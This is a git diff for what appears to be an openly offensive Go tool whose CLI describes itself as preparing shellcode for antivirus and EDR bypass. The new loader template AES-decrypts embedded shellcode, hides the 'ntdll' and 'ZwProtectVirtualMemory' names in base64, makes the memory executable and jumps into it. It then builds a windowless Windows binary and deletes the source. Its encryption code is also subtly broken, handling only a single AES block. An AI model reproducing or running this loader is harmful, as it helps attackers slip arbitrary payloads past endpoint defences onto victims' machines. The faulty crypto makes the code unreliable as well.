diff --git a/cli/defaults.go b/cli/defaults.go
@@ -1,12 +1,22 @@
package cli
+import (
+ "crypto/rand"
+)
+
// Get default value for Options struct
func GetDefaultCLIOptions() Options {
opts := Options{
ShellcodePath: "",
- AesKey: "VerySecretAESKey",
+ AesKey: RandBytes(32),
Outfile: "myph-out",
}
return opts
}
+
+func RandBytes(length int) []byte {
+ b := make([]byte, length)
+ rand.Read(b)
+ return b
+}
diff --git a/cli/parser.go b/cli/parser.go
@@ -20,16 +20,17 @@ func GetParser(opts *Options) *cobra.Command {
Long: `CLI to prepare your shellcode and do AV/EDR bypass`,
Run: func(cmd *cobra.Command, args []string) {
- pre_encrypted_payload, err := loader.ReadFile(opts.ShellcodePath); if err != nil {
- fmt.Println("Read shellcode error: %s", err.Error())
+ if opts.ShellcodePath == "" {
+ fmt.Println("[!] Please specify your shellcode's path with -s")
os.Exit(1)
}
- payload, err := loader.EncryptPayload(pre_encrypted_payload, []byte(opts.AesKey)); if err != nil {
- fmt.Println("Encryption error: %s", err.Error())
+ plaintext_payload, err := loader.ReadFile(opts.ShellcodePath); if err != nil {
+ fmt.Printf("[!] Read shellcode error: %s\n", err.Error())
os.Exit(1)
}
+ payload := loader.Encrypt(opts.AesKey, plaintext_payload)
s := loader.Shellcode{
Payload: payload,
Filename: opts.Outfile,
@@ -38,16 +39,27 @@ func GetParser(opts *Options) *cobra.Command {
toCompile := loader.LoadWindowsTemplate(s)
err = loader.WriteToTempfile(toCompile); if err != nil {
- fmt.Println("Write error: %s", err.Error())
+ fmt.Printf("Write error: %s\n", err.Error())
os.Exit(1)
}
+ os.Setenv("GOOS", "windows")
+
/* run compilation */
- err = exec.Command("go", "build", "-ldflags", "-w -s -H=windowsgui", "-o", s.Filename, "tmp.go").Run()
- if err != nil {
+ err = exec.Command(
+ "go",
+ "build",
+ "-ldflags",
+ "-s -w -H=windowsgui",
+ "-o",
+ s.Filename,
+ "tmp.go",
+ ).Run(); if err != nil {
println("[!] Compile error: " + err.Error())
return
}
+
+ os.Remove("tmp.go")
},
}
@@ -55,7 +67,7 @@ func GetParser(opts *Options) *cobra.Command {
cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "o", defaults.Outfile, "output filepath")
cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
- cmd.PersistentFlags().StringVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "aes shellcode encryption key")
+ cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "AES key for shellcode encryption")
return cmd
}
diff --git a/cli/types.go b/cli/types.go
@@ -9,5 +9,5 @@ type Options struct {
Outfile string
// AES shellcode encryption secret
- AesKey string
+ AesKey []byte
}
diff --git a/loader/aes.go b/loader/aes.go
@@ -1,57 +1,31 @@
-package loader;
-
+package loader
import (
- "bytes"
"crypto/aes"
- "crypto/cipher"
- "crypto/rand"
- "errors"
- "io"
+ "fmt"
+ "os"
)
-func EncryptPayload(key []byte, payload []byte) ([]byte, error) {
- block, err := aes.NewCipher(key)
- if err != nil {
- return nil, err
- }
-
- paddingLen := aes.BlockSize - (len(payload) % aes.BlockSize)
- paddingText := bytes.Repeat([]byte{byte(paddingLen)}, paddingLen)
- textWithPadding := append(payload, paddingText...)
-
- ciphertext := make([]byte, aes.BlockSize+len(textWithPadding))
- iv := ciphertext[:aes.BlockSize]
-
- if _, err := io.ReadFull(rand.Reader, iv); err != nil {
- return nil, err
- }
+func Encrypt(key []byte, plaintext []byte) []byte {
+ c, err := aes.NewCipher(key); if err != nil {
+ fmt.Printf("[!] cipher gen: %s\n", err.Error())
+ os.Exit(1)
+ }
- cfbEncrypter := cipher.NewCFBEncrypter(block, iv)
- cfbEncrypter.XORKeyStream(ciphertext[aes.BlockSize:], textWithPadding)
-
- return ciphertext, nil
+ out := make([]byte, len(plaintext))
+ c.Encrypt(out, plaintext)
+ return out
}
-func DecryptPayload(key []byte, payload []byte) ([]byte, error) {
-
- block, err := aes.NewCipher(key)
- if err != nil {
- return nil, err
- }
-
- if (len(payload) % aes.BlockSize) != 0 {
- return nil, errors.New("payload length should be % of AES blocksize")
- }
-
- iv := payload[:aes.BlockSize]
+func DecryptAES(key []byte, payload []byte) string {
- decodedCipherMsg := payload[aes.BlockSize:]
- cfbDecrypter := cipher.NewCFBDecrypter(block, iv)
- cfbDecrypter.XORKeyStream(decodedCipherMsg, decodedCipherMsg)
+ c, err := aes.NewCipher(key); if err != nil {
+ fmt.Printf("[!] cipher gen: %s\n", err.Error())
+ os.Exit(1)
+ }
- length := len(decodedCipherMsg)
- paddingLen := int(decodedCipherMsg[length-1])
- result := decodedCipherMsg[:(length - paddingLen)]
- return result, nil
+ plaintext := make([]byte, len(payload))
+ c.Decrypt(plaintext, payload)
+ s := string(plaintext[:])
+ return s
}
diff --git a/loader/utils.go b/loader/utils.go
@@ -3,56 +3,11 @@ package loader
import (
"bufio"
"bytes"
- "fmt"
"io"
"log"
"os"
)
-
-func LoadWindowsTemplate(s Shellcode) string {
- return fmt.Sprintf(`
- package main
-
- import (
- "os"
- "syscall"
- "encoding/base64"
-
- "github.com/cmepw/loader"
- )
-
- func main() {
- /* decrypt shellcode using AES */
- payload, err := loader.DecryptPayload(%s, %s); if err != nil {
- os.Exit(1)
- }
-
- ntdll, _ := base64.StdEncoding.DecodeString("bnRkbGw=")
- zwprotectMemory, _ := base64.StdEncoding.DecodeString("WndQcm90ZWN0VmlydHVhbE1lbW9yeQ==")
-
- var hProcess uintptr = 0
- var pBaseAddr = uintptr(unsafe.Pointer(&payload[0]))
- var dwBufferLen = uint(len(payload))
- var dwOldPerm uint32
-
- /* prepare syscall in memory */
- syscall.NewLazyDLL(ntdll).NewProc(zwprotectMemory).call(
- hProcess - 1,
- uintptr(unsafe.Pointer(&pBaseAddr)),
- uintptr(unsafe.Pointer(&dwBufferLen)),
- 0x20, /* PAGE_EXEC_READ */
- uintptr(unsafe.Pointer(&dwOldPerm)),
- )
-
- /* run syscall */
- syscall.Syscall(
- uintptr(unsafe.Pointer(&syscall[0])),
- 0, 0, 0, 0,
- )
- })`, s.AesKey, s.Payload)
-}
-
func ReadFile(filepath string) ([]byte, error) {
buf := bytes.NewBuffer(nil)
diff --git a/loader/windows.go b/loader/windows.go
@@ -0,0 +1,68 @@
+package loader
+
+import (
+ "encoding/hex"
+ "fmt"
+)
+
+func LoadWindowsTemplate(s Shellcode) string {
+
+ hexShellcode := hex.EncodeToString(s.Payload)
+ hexKey := hex.EncodeToString(s.AesKey)
+
+ return fmt.Sprintf(`
+package main
+
+import (
+ "crypto/aes"
+ "encoding/base64"
+ "encoding/hex"
+ "os"
+ "unsafe"
+ "syscall"
+)
+
+func decrypt(key string, payload string) []byte {
+ ciphertext, _ := hex.DecodeString(payload)
+ keyAsBytes, _ := hex.DecodeString(key)
+
+ c, err := aes.NewCipher(keyAsBytes); if err != nil {
+ os.Exit(1)
+ }
+
+ plaintext := make([]byte, len(payload))
+ c.Decrypt(plaintext, ciphertext)
+ s := string(plaintext[:])
+ return []byte(s)
+}
+
+func main() {
+ /* decrypt shellcode using AES */
+ payload := decrypt("%s", "%s")
+ ntdll, _ := base64.StdEncoding.DecodeString("bnRkbGw=")
+ zwprotectMemory, _ := base64.StdEncoding.DecodeString("WndQcm90ZWN0VmlydHVhbE1lbW9yeQ==")
+
+ var hProcess uintptr = 0
+ var pBaseAddr = uintptr(unsafe.Pointer(&payload[0]))
+ var dwBufferLen = uint(len(payload))
+ var dwOldPerm uint32
+
+ /* prepare syscall in memory */
+ syscall.NewLazyDLL(string(ntdll)).NewProc(string(zwprotectMemory)).Call(
+ hProcess - 1,
+ uintptr(unsafe.Pointer(&pBaseAddr)),
+ uintptr(unsafe.Pointer(&dwBufferLen)),
+ 0x20, /* PAGE_EXEC_READ */
+ uintptr(unsafe.Pointer(&dwOldPerm)),
+ )
+
+ /* run syscall */
+ syscall.Syscall(
+ uintptr(unsafe.Pointer(&payload[0])),
+ 0, 0, 0, 0,
+ )
+}
+`, hexKey, hexShellcode)
+}
+
+
| | | | | |